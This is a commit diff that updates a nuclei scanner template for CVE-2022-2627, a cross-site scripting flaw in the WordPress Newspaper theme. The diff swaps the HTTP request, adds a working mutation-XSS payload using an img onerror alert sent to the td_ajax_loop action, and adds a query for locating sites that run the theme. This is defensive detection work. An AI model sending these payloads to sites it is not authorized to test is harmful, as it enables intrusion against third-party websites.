Merge pull request #8131 from projectdiscovery/CVE-2022-2627-update

CVE-2022-2627 update

http/cves/2022/CVE-2022-2627.yaml

@@ -1,11 +1,12 @@
 id: CVE-2022-2627
 
 info:
-  name: WordPress Newspaper <12 - Cross-Site Scripting
-  author: ramondunker
+  name: WordPress Newspaper < 12 - Cross-Site Scripting
+  author: ramondunker,c4sper0
   severity: medium
   description: |
     WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
+  remediation: Fixed in version 12
   reference:
     - https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
     - https://nvd.nist.gov/vuln/detail/CVE-2022-2627
@@ -18,6 +19,8 @@ info:
     cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:wordpress:*:*
   metadata:
     max-request: 1
+    verified: true
+    publicwww-query: "/wp-content/themes/Newspaper"
     framework: wordpress
     vendor: tagdiv
     product: newspaper
@@ -26,19 +29,23 @@ info:
 http:
   - raw:
       - |
-        POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/2
+        POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1
         Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
 
-        action=td_ajax_search&td_string=tej2j1q%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3emvufr
+        action=td_ajax_loop&loopState[moduleId]={{xss_payload}}&loopState[server_reply_html_data]=
+
+    payloads:
+      xss_payload:
+        - "<form><math><img+onerror=alert(document.domain)+src=1><mtext></form>"
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - '<img src=x onerror=alert(document.domain)>'
-          - '/newspaper'
-        case-insensitive: true
+          - <form><math><img onerror=alert(document.domain) src=1><mtext>
+          - td-block-
         condition: and
 
       - type: word